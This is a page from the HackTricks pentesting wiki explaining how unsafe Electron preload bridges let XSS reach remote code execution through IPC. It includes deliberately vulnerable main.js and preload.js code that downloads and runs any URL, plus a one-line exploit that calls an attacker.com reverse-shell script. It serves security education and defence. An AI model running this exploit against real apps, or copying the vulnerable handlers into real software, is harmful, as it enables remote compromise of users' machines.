electron-contextisolation-rce-via-ipc.md (5334B)
1 --- 2 title: "Electron contextIsolation RCE via IPC" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Electron contextIsolation RCE via IPC 14 15 Context isolation does not make an unsafe preload bridge safe. If a preload exposes privileged IPC to renderer content, an XSS or compromised renderer can call that bridge; RCE then depends on the validation and capabilities of the corresponding main-process handler. Electron recommends exposing one narrow method per operation, validating IPC senders, and never exposing raw IPC primitives.<sup>[[3]](#references)[[4]](#references)</sup> 16 17 **Most of these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Check the video for further information.<sup>[[1]](#references)</sup> 18 19 ## Example 0 20 21 Example from [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (you have the full example of how MS Teams was abusing from XSS to RCE in those slides, this is just a very basic example):<sup>[[2]](#references)</sup> 22 23 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%289%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 24 25 ## Example 1 26 27 Check how the `main.js` listens on `getUpdate` and will **download and execute any URL** passed.\ 28 Check also how `preload.js` **exposes any IPC** event from main. 29 30 ```javascript 31 // Part of code of main.js 32 ipcMain.on("getUpdate", (event, url) => { 33 console.log("getUpdate: " + url) 34 mainWindow.webContents.downloadURL(url) 35 mainWindow.download_url = url 36 }) 37 38 mainWindow.webContents.session.on( 39 "will-download", 40 (event, item, webContents) => { 41 console.log("downloads path=" + app.getPath("downloads")) 42 console.log("mainWindow.download_url=" + mainWindow.download_url) 43 url_parts = mainWindow.download_url.split("/") 44 filename = url_parts[url_parts.length - 1] 45 mainWindow.downloadPath = app.getPath("downloads") + "/" + filename 46 console.log("downloadPath=" + mainWindow.downloadPath) 47 // Set the save path, making Electron not to prompt a save dialog. 48 item.setSavePath(mainWindow.downloadPath) 49 50 item.on("updated", (event, state) => { 51 if (state === "interrupted") { 52 console.log("Download is interrupted but can be resumed") 53 } else if (state === "progressing") { 54 if (item.isPaused()) console.log("Download is paused") 55 else console.log(`Received bytes: ${item.getReceivedBytes()}`) 56 } 57 }) 58 59 item.once("done", (event, state) => { 60 if (state === "completed") { 61 console.log("Download successful, running update") 62 fs.chmodSync(mainWindow.downloadPath, 0755) 63 var child = require("child_process").execFile 64 child(mainWindow.downloadPath, function (err, data) { 65 if (err) { 66 console.error(err) 67 return 68 } 69 console.log(data.toString()) 70 }) 71 } else console.log(`Download failed: ${state}`) 72 }) 73 } 74 ) 75 ``` 76 77 ```javascript 78 // Part of code of preload.js 79 window.electronSend = (event, data) => { 80 ipcRenderer.send(event, data) 81 } 82 ``` 83 84 Exploit: 85 86 ```html 87 <script> 88 electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh") 89 </script> 90 ``` 91 92 ## Example 2 93 94 If the preload exposes `shell.openExternal` without scheme and destination validation, renderer-controlled input can launch registered external handlers. Whether that becomes code execution depends on the platform, installed handlers, scheme, and Electron version; restrict it to an explicit allowlist of expected `https:` destinations.<sup>[[3]](#references)</sup> 95 96 ```javascript 97 // Part of preload.js code 98 window.electronOpenInBrowser = (url) => { 99 shell.openExternal(url) 100 } 101 ``` 102 103 ## Example 3 104 105 If the preload exposes unrestricted communication with the main process, an XSS can send arbitrary channel names and data. The impact depends on the registered IPC handlers and their authorization checks. 106 107 ```javascript 108 window.electronListen = (event, cb) => { 109 ipcRenderer.on(event, cb) 110 } 111 112 window.electronSend = (event, data) => { 113 ipcRenderer.send(event, data) 114 } 115 ``` 116 117 118 ## References 119 120 - [1] [Hacking Modern Desktop apps with XSS and RCE Workshop](https://www.youtube.com/watch?v=xILfQGkLXQo) 121 - [2] [How I Hacked Microsoft Teams and got $150,000 in Pwn2Own](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own) 122 - [3] [Electron — Security checklist](https://www.electronjs.org/docs/latest/tutorial/security) 123 - [4] [Electron — Context isolation and safe API exposure](https://www.electronjs.org/docs/latest/tutorial/context-isolation)